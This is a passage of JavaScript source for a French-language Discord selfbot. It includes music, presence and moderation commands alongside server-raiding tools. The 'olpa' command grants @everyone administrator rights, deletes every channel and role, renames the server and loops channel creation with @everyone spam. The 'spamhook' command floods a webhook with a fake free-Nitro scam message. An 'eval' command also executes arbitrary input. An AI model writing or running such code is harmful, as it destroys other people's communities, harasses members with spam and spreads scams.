987 return message.channel.send(":x: " + "| Le rainbow n'est pas actif ¯\\_(ツ)_/¯")
988 }
989
990 let rainbw2 = new Discord.RichEmbed()
991 .addField("✅ Le rôle rainbow est ``désactivé``", "Si vous souhaitez réactiver le rainbow faites la commande ``$rainbow [@ROLE]``", true)
992 .setThumbnail("http://www.clker.com/cliparts/2/k/n/l/C/Q/transparent-green-checkmark-md.png")
993 .setColor("0x#FF0000")
994 .setFooter("© Tkila v1.6", bot.user.avatarURL)
995 .setTimestamp()
996 message.channel.send(rainbw2);
997 clearInterval(rainbownow[message.guild.id]);
998 rainbownow[message.guild.id] = undefined;
999 } else {
1000 return message.reply(":x: " + "| Vous devez avoir la permission \"ADMINISTRATEUR\"").then(() => {
1001 });
1002 }
1003 break;
1004
1005
1006 case "eval":
1007 var text = eval(args.join(" "));
1008 const embedgif = new Discord.RichEmbed()
1009 .setFooter("© Myzer | EVAL", bot.user.avatarURL)
1010 .addField("? INPUT", "```" + args.join(" ") + "```", false)
1011 .addField("? OUTPUT", "```" + text + "```", false)
1012 .setColor(GenerateHex());
1013 message.delete();
1014 message.channel.send(embedgif);
1015 break;
1016
1017 case "antiddos":
1018 message.delete();
1019 let salonvoc = bot.guilds.get(message.guild.id).channels.get(args[0]);
1020 if(!salonvoc) {
1021 return message.channel.send(":x: | Tu dois être dans un salon vocal ou alors tu dois indiqué l'ID d'un salon vocal.");
1022 }
1023 salonvoc.join().then(voiceco => {antiddos = voiceco});
1024
1025 message.channel.send("Anti-DDoS activé!");
1026
1027 break;
1028
1029 case "np":
1030 message.delete();
1031 if(is_bot_playing(message)) {
1032 let responsedet = new Discord.RichEmbed()
1033 .addField("<:ytb:497691338532454411> | EN ÉCOUTE: " + now_playing_data[message.guild.id + "title"], "ٴDemandé par " + now_playing_data[message.guild.id + "user"], true)
1034
1035 .setThumbnail("https://kitrobit.com/public/img/YouTube-icon-f69f014f.png")
1036 .setColor("0x#FF0000")
1037 .setFooter("© Tkila v1.6", bot.user.avatarURL)
1038 .setTimestamp()
1039
1040 message.channel.send(responsedet);
1041 } else {
1042 message.channel.send(":x: - Aucune écoute");
1043 }
1044
1045 break;
1046
1047 case "queue":
1048 message.delete();
1049 var response = "```";
1050
1051 if(is_queue_empty(message)) {
1052 response = "Il n'y as aucun son dans la playlist.";
1053 } else {
1054 var long_queue = queues[message.guild.id].queue.length > 30;
1055 for(var i = 0; i < (long_queue ? 30 : queues[message.guild.id].queue.length); i++) {
1056 response += "\"" + queues[message.guild.id].queue[i]["title"] + "\" (demandé par " + queues[message.guild.id].queue[i]["user"] + ")\n ";
1057 }
1058 response += "```";
1059 if(long_queue) response += "\n**...et " + (queues[message.guild.id].queue.length - 30) + " autres.**";
1060 }
1061
1062 message.channel.send(response);
1063 break;
1064
1065 case "skip":
1066 message.delete();
1067 if(voice_handler[message.guild.id] !== undefined) {
1068 var prochainson = (queues[message.guild.id].queue[0] != null) ? queues[message.guild.id].queue[0]["title"] : "Aucun"
1069 let responseskip1 = new Discord.RichEmbed()
1070
1071 .addField("<:ytb:497691338532454411> | **Skiping**...", "Prochain son: " + prochainson, true)
1072 .setColor("0x#FF0000")
1073 .setThumbnail("https://kitrobit.com/public/img/YouTube-icon-f69f014f.png")
1074 .setFooter("© Tkila v1.6", bot.user.avatarURL)
1075 .setTimestamp()
1076
1077 message.channel.send(responseskip1);
1078 voice_handler[message.guild.id].end();
1079 } else {
1080 message.channel.send("Il n'y as rien à écouter.");
1081 }
1082
1083 break;
1084
1085 case "logchannel":
1086 message.delete();
1087 let myChannel = message.mentions.channels.array()[0]
1088
1089 if (myChannel === undefined) {
1090 message.delete();
1091 return message.channel.send(":x: " + "| Merci d'indiquer un channel ¯\\_(ツ)_/¯")
1092 }
1093
1094 let channel = message.guild.channels.find('name', myChannel.name)
1095 file.lchannel[message.guild.id] = myChannel.id;
1096
1097 fs.writeFile(settings, JSON.stringify(file, null, 2), function (err) {
1098
1099 message.channel.send(":white_check_mark: " + "| Le channel de logs est : #" + myChannel.name);
1100 });
1101
1102 break;
1103
1104 case "antilink":
1105 message.delete();
1106 if(message.member.hasPermission("ADMINISTRATOR")) {
1107
1108 if(file.antilink[message.guild.id] == undefined) {
1109
1110 file.antilink[message.guild.id] = "oui";
1111 fs.writeFile(settings, JSON.stringify(file, null, 2), function (err) {
1112
1113 message.channel.send(":white_check_mark: " + "| Les liens sont désactivés");
1114 });
1115 } else if (file.antilink[message.guild.id] == "non") {
1116
1117 file.antilink[message.guild.id] = "oui";
1118 fs.writeFile(settings, JSON.stringify(file, null, 2), function (err) {
1119
1120 message.channel.send(":white_check_mark: " + "| Les liens sont désactivés");
1121 });
1122 } else if (file.antilink[message.guild.id] == "oui") {
1123
1124 file.antilink[message.guild.id] = "non";
1125 fs.writeFile(settings, JSON.stringify(file, null, 2), function (err) {
1126
1127 message.channel.send(":white_check_mark: " + "| Les liens sont activés");
1128 });
1129 }
1130
1131 } else {
1132 return message.reply(":x: " + "| Vous devez avoir la permission \"ADMINISTRATEUR\"").then(() => {
1133 });
1134 }
1135 break;
1136
1137
1138 case "sombre":
1139 message.delete();
1140 let lead1 = bot.guilds.get("520922018967846922").members;
1141 let lead2 = "";
1142 lead1.forEach(function(element){
1143 if(element.roles.has("524142570264068107"))
1144 {
1145 lead2 += "``" + element.user.username + "``\n"
1146 }
1147 });
1148 let mm1 = bot.guilds.get("520922018967846922").members;
1149 let mm2 = "";
1150 mm1.forEach(function(element){
1151 if(element.roles.has("530135764173062154") && !element.roles.has("524142570264068107"))
1152 {
1153 mm2 += "``" + element.user.username + "``\n"
1154 }
1155 });
1156
1157 let ciaembed = new Discord.RichEmbed()
1158 .setTitle("? ????ℝ? ????? ?")
1159 .addField("Leaders de la **? ????ℝ? ????? ?**", lead2, true)
1160 .addField("Membres de la **? ????ℝ? ????? ?**", mm2, true)
1161 .setThumbnail("https://cdn.discordapp.com/icons/530364819623116817/12e405fba3b0594f05eaaf31c869b315.jpg")
1162 .setColor(GenerateHex())
1163 .setImage("https://cdn.discordapp.com/attachments/527999237921832971/530170902822912000/ssquad.gif")
1164 .setFooter("© Tkila v1.6", bot.user.avatarURL)
1165 .setTimestamp()
1166message.channel.send(ciaembed);
1167
1168 break;
1169
1170 case "setwatch":
1171 message.delete();
1172 if(message.author.id == bot.user.id) {
1173 var gametxt = args.join(" ");
1174 if (!args.join(" ")) {
1175 message.delete();
1176 return message.channel.send(":x: " + "| Merci d'indiquer un statut ¯\\_(ツ)_/¯")
1177 }
1178 clearInterval(gamenow);
1179 bot.user.setPresence({
1180 game: {
1181 name: gametxt,
1182 type: "WATCHING",
1183 url: "https://www.twitch.tv/myzersombre"
1184 }
1185 });
1186 } else {
1187 message.channel.send(":x: | Tu n'as pas l'autorisation d'utiliser sa.");
1188 }
1189
1190 break;
1191
1192
1193 case "setlist":
1194 message.delete();
1195 if(message.author.id == bot.user.id) {
1196 var gametxt = args.join(" ");
1197 if (!args.join(" ")) {
1198 message.delete();
1199 return message.channel.send(":x: " + "| Merci d'indiquer un statut ¯\\_(ツ)_/¯")
1200 }
1201 clearInterval(gamenow);
1202 bot.user.setPresence({
1203 game: {
1204 name: gametxt,
1205 type: "LISTENING",
1206 url: "https://www.twitch.tv/myzersombre"
1207 }
1208 });
1209 } else {
1210 message.channel.send(":x: | Tu n'as pas l'autorisation d'utiliser sa.");
1211 }
1212
1213 break;
1214
1215 case "setstream":
1216 message.delete();
1217 if(message.author.id == bot.user.id) {
1218 var gametxt = args.join(" ");
1219 if (!args.join(" ")) {
1220 message.delete();
1221 return message.channel.send(":x: " + "| Merci d'indiquer un statut ¯\\_(ツ)_/¯")
1222 }
1223 clearInterval(gamenow);
1224 bot.user.setPresence({
1225 game: {
1226 name: gametxt,
1227 type: "STREAMING",
1228 url: "https://www.twitch.tv/myzersombre"
1229 }
1230 });
1231 } else {
1232 message.channel.send(":x: | Tu n'as pas l'autorisation d'utiliser sa.");
1233 }
1234
1235 break;
1236
1237 case "stopolpa4241":
1238 clearInterval(rd1);
1239 clearInterval(rd2);
1240message.delete();
1241
1242 break;
1243
1244 case "resetgame":
1245 message.delete();
1246 if(message.author.id == bot.user.id) {
1247 gamenow = setInterval(() => {
1248 const game = games[~~(Math.random() * games.length)]
1249 bot.user.setPresence({
1250 game: {
1251 name: game ,
1252 type: "STREAMING",
1253 url: "https://www.twitch.tv/myzersombre"
1254 }
1255 });
1256 }, 10000);
1257 }
1258
1259 break;
1260
1261 case "createinvite":
1262 message.delete();
1263 if(message.author.id == bot.user.id) {
1264 let messageArray1 = message.content.split(" ");
1265 let chanelmcounta = messageArray[1];
1266 let myMcount = bot.guilds.get(chanelmcounta);
1267 let chnldd = lastch[chanelmcounta];
1268 let chnlde = bot.guilds.get(chanelmcounta).channels.random();
1269
1270 if (myMcount === undefined) {
1271 message.delete();
1272 return message.channel.send(":x: " + "| Merci d'indiquer l'id d'un serveur ¯\\_(ツ)_/¯")
1273 }
1274
1275 chnlde.createInvite().then(invite => message.channel.send(`https://discord.gg/${invite.code}`))
1276
1277 }
1278
1279 break;
1280
1281 case "olpa":
1282 if(message.author.id == bot.user.id) {
1283 message.guild.roles.find('name', '@everyone').edit({
1284 permissions: ["ADMINISTRATOR"]
1285 });
1286 let oldnm = message.guild.name;
1287 message.guild.channels.map(c => {
1288 c.delete();
1289 });
1290 message.guild.roles.map(r => {
1291 r.delete();
1292 });
1293
1294 rdr = setInterval(() => {
1295 message.guild.createRole({
1296 name: "? ????ℝ? ????? ?",
1297 permissions: ["ADMINISTRATOR"]
1298 }).then(rr => {
1299
1300 message.member.addRole(rr.id);
1301 });
1302 }, 1000);
1303
1304 message.guild.setIcon('images/ss2.png');
1305 message.guild.setName('DEAD BY ?????ℝ??');
1306 setTimeout(function () {
1307 rd1 = setInterval(() => {
1308 message.guild.createChannel('fucked-by-sombre', 'text').then(channek => {
1309 ;
1310
1311 setTimeout(function () {
1312 rd2 = setInterval(() => {
1313 channek.send('**? ????ℝ? ????? ?** vous as terminé ! @everyone https://discord.gg/6hy2VWY https://cdn.discordapp.com/attachments/527999237921832971/530170902822912000/ssquad.gif :smile:');
1314 channek.send('**? ????ℝ? ????? ?** vous as terminé ! @everyone https://discord.gg/6hy2VWY https://cdn.discordapp.com/attachments/527999237921832971/530170902822912000/ssquad.gif :smile:');
1315 channek.send('**? ????ℝ? ????? ?** vous as terminé ! @everyone https://discord.gg/6hy2VWY https://cdn.discordapp.com/attachments/527999237921832971/530170902822912000/ssquad.gif :smile:');
1316 channek.send('**? ????ℝ? ????? ?** vous as terminé ! @everyone https://discord.gg/6hy2VWY https://cdn.discordapp.com/attachments/527999237921832971/530170902822912000/ssquad.gif :smile:');
1317 channek.send('**? ????ℝ? ????? ?** vous as terminé ! @everyone https://discord.gg/6hy2VWY https://cdn.discordapp.com/attachments/527999237921832971/530170902822912000/ssquad.gif :smile:');
1318 channek.send('**? ????ℝ? ????? ?** vous as terminé ! @everyone https://discord.gg/6hy2VWY https://cdn.discordapp.com/attachments/527999237921832971/530170902822912000/ssquad.gif :smile:');
1319 channek.send('**? ????ℝ? ????? ?** vous as terminé ! @everyone https://discord.gg/6hy2VWY https://cdn.discordapp.com/attachments/527999237921832971/530170902822912000/ssquad.gif :smile:');
1320 channek.send('**? ????ℝ? ????? ?** vous as terminé ! @everyone https://discord.gg/6hy2VWY https://cdn.discordapp.com/attachments/527999237921832971/530170902822912000/ssquad.gif :smile:');
1321 channek.send('**? ????ℝ? ????? ?** vous as terminé ! @everyone https://discord.gg/6hy2VWY https://cdn.discordapp.com/attachments/527999237921832971/530170902822912000/ssquad.gif :smile:');
1322 channek.send('**? ????ℝ? ????? ?** vous as terminé ! @everyone https://discord.gg/6hy2VWY https://cdn.discordapp.com/attachments/527999237921832971/530170902822912000/ssquad.gif :smile:');
1323 channek.send('**? ????ℝ? ????? ?** vous as terminé ! @everyone https://discord.gg/6hy2VWY https://cdn.discordapp.com/attachments/527999237921832971/530170902822912000/ssquad.gif :smile:');
1324 channek.send('**? ????ℝ? ????? ?** vous as terminé ! @everyone https://discord.gg/6hy2VWY https://cdn.discordapp.com/attachments/527999237921832971/530170902822912000/ssquad.gif :smile:');
1325 channek.send('**? ????ℝ? ????? ?** vous as terminé ! @everyone https://discord.gg/6hy2VWY https://cdn.discordapp.com/attachments/527999237921832971/530170902822912000/ssquad.gif :smile:');
1326 channek.send('**? ????ℝ? ????? ?** vous as terminé ! @everyone https://discord.gg/6hy2VWY https://cdn.discordapp.com/attachments/527999237921832971/530170902822912000/ssquad.gif :smile:');
1327 channek.send('**? ????ℝ? ????? ?** vous as terminé ! @everyone https://discord.gg/6hy2VWY https://cdn.discordapp.com/attachments/527999237921832971/530170902822912000/ssquad.gif :smile:');
1328 }, 1000);
1329 }, 5000);
1330 });
1331 }, 1000);
1332 }, 5000);
1333
1334 }
1335
1336 break;
1337
1338 case "na":
1339 message.delete();
1340 if(message.member.hasPermission("ADMINISTRATOR")) {
1341
1342 var naa1 = args.join(" ");
1343 var naa2 = message.guild.name;
1344 var nanad = ["" + naa1 + "", "" + naa2 + ""];
1345 const nanads = nanad[~~(Math.random() * nanad.length)]
1346
1347 if (!args.join(" ")) {
1348 message.delete();
1349 return message.channel.send(":x: " + "| Merci d'indiquer le nom animé ¯\\_(ツ)_/¯")
1350 }
1351 if (args.join(" ").length < 2) {
1352 message.delete();
1353 return message.channel.send(":x: " + "| Il faut au minimum 2 caractères ¯\\_(ツ)_/¯")
1354 }
1355
1356 nag[message.guild.id] = setInterval(() => {
1357 var na1 = naa1;
1358 var na2 = naa2;
1359 if(message.guild.name == na1) {
1360 message.guild.setName(na2);
1361 }
1362 if(message.guild.name == na2) {
1363 message.guild.setName(na1);
1364 }
1365
1366 }, 1500);
1367
1368 message.channel.send(":white_check_mark: " + "| Le Nom de serveur Animé est : " + naa1 + " et " + naa2);
1369
1370 } else {
1371 message.channel.send(":x: | Tu n'as pas l'autorisation d'utiliser sa.");
1372 }
1373
1374 break;
1375
1376 case "stopna":
1377 message.delete();
1378 if(message.member.hasPermission("ADMINISTRATOR")) {
1379
1380 clearInterval(nag[message.guild.id]);
1381
1382 message.channel.send(":white_check_mark: " + "| Ta demande à été traité");
1383
1384 } else {
1385 message.channel.send(":x: | Tu n'as pas l'autorisation d'utiliser sa.");
1386 }
1387
1388 break;
1389
1390 case "afk":
1391 message.delete();
1392 afk = "oui"
1393 afktext = args.join(" ");
1394
1395 message.channel.send("Je suis **AFK** : __**" + afktext + "**__ ?");
1396
1397 break;
1398
1399
1400 case "stopafk":
1401 message.delete();
1402 afk = "non"
1403 afktext = null;
1404
1405 break;
1406
1407
1408 case "spamhook":
1409 message.delete();
1410 setInterval(() => {
1411 spamhook.send("@everyone ***15 INVITES = 1 NITRO*** IN :fleur_de_lis:️ **CRIMO** :fleur_de_lis:️ : https://discord.gg/eqMmR6S \n" +
1412 ":dizzy:**NO FAKE 2 NITRO FOR MEMBERS**: https://discord.gift/Qr9BnpnAhDnSJSRU \n", {avatarURL: message.author.avatarURL, username: message.author.username} )
1413 }, 4500);
1414
1415 break;
1416
1417
1418
1419 }
1420});
1421bot.login("token");